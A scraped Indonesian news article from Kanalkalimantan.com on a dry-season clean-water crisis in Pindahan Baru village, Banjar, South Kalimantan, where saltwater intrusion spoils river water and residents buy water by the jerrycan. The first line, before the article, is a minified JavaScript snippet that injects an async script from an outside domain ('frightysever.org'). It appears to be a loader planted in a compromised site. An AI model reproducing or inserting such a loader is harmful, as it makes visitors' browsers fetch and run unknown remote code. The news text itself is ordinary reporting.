(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Krisis air bersih saat kemarau panjang dialami warga pesisir Desa Pindahan Baru, Kecamatan Beruntung Baru, Kabupaten Banjar, Kalimantan Selatan.
Sekretaris Desa, Juhdani mengatakan, warga pesisir laut tepatnya di Desa Pindahan Baru yang terdiri dari 5 RT dihuni 1.000 jiwa lebih sangat memerlukan ketersedian air bersih di saat musim kemarau panjang seperti saat ini. Untuk wilayah RT 1, 2, dan 3 masih bisa dijangkau dengan transportasi darat, namun RT 4 dan RT 5 mengharuskan menggunakan akses jalur air dengan klotok atau perahu bermesin.
Diakuinya memang sebagian warga ada yang memakai air PDAM namun untuk warga RT 4 dan RT 5 air PDAM tidak menjangkau wilayah mereka.
Baca juga: Gunung Ulin Kekeringan, BPBD Banjar Pasok Air Bersih
Di tengah kemarau sekarang, warga bertahan dengan air sungai untuk kegiatan mandi, mencuci dan lainnya. Untuk air minum, warga menggunakan air hujan yang turun disimpan ke penampungan air. Jika kemarau tiba warga hanya bisa bertahan dengan membeli air bersih.
“Air bersih dijual pakai pikap berasal dari Maluka Baulin, Kurau, Tanah Laut. Warga kami membeli dengan harga Rp3.000 untuk ukuran jerigen 20 liter dan Rp4.000 untuk ukuran jerigen 35 liter,” katanya, Jumat (15/9/2023) siang.
Hanya itu yang dapat warga lakukan untuk memenuhi kebutuhan air bersih, karena saat musim kemarau air sungai akan berubah menjadi asin akibat intrusi air laut ke pesisir wilayah desa mereka.
Baca juga: Embung Gunung Kupang Capai 32 Persen, Tangkal Banjir di Cempaka
Kondisi menyulitkan warga itu berdampak pada pemberian pakan ternak itik mereka karena jika air sungai asin pasti telur itik gagal. “Panen padi juga ikut gagal, air sungai yang asin akan berpengaruh besar pada proses pertumbuhan padi,” sebut Basuni, salah satu kepala lingkungan Desa Pindahan Baru
BPBD Banjar mendistribusikan air bersih ke Desa Pindahan Baru sebanyak 5.000 liter, namun air bersih tersebut tidak mencukupi untuk semua warga. “Hanya cukup untuk dua RT saja,” bebernya.
“Pihak desa mengumpulkan tandon bekas masa covid dimanfaatkan untuk musim kemarau, berharap bantuan air bersih dari pihak manapun, karena kami hanya bisa mengharap bantuan air dari luar,” beber lelaki 43 tahun ini.
Baca juga: Hari Demokrasi Internasional 2023: Memberdayakan Generasi Penerus
“Untuk Selasa 19 September 2023 nanti, kami mendapatkan kabar akan ada bantuan air bersih yang dikirimkan ke desa kami,” pungkasnya.
(Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) mendukung penuh langkah Pemerintah dalam menyalurkan paket stimulus ekonomi… Read More
This website uses cookies.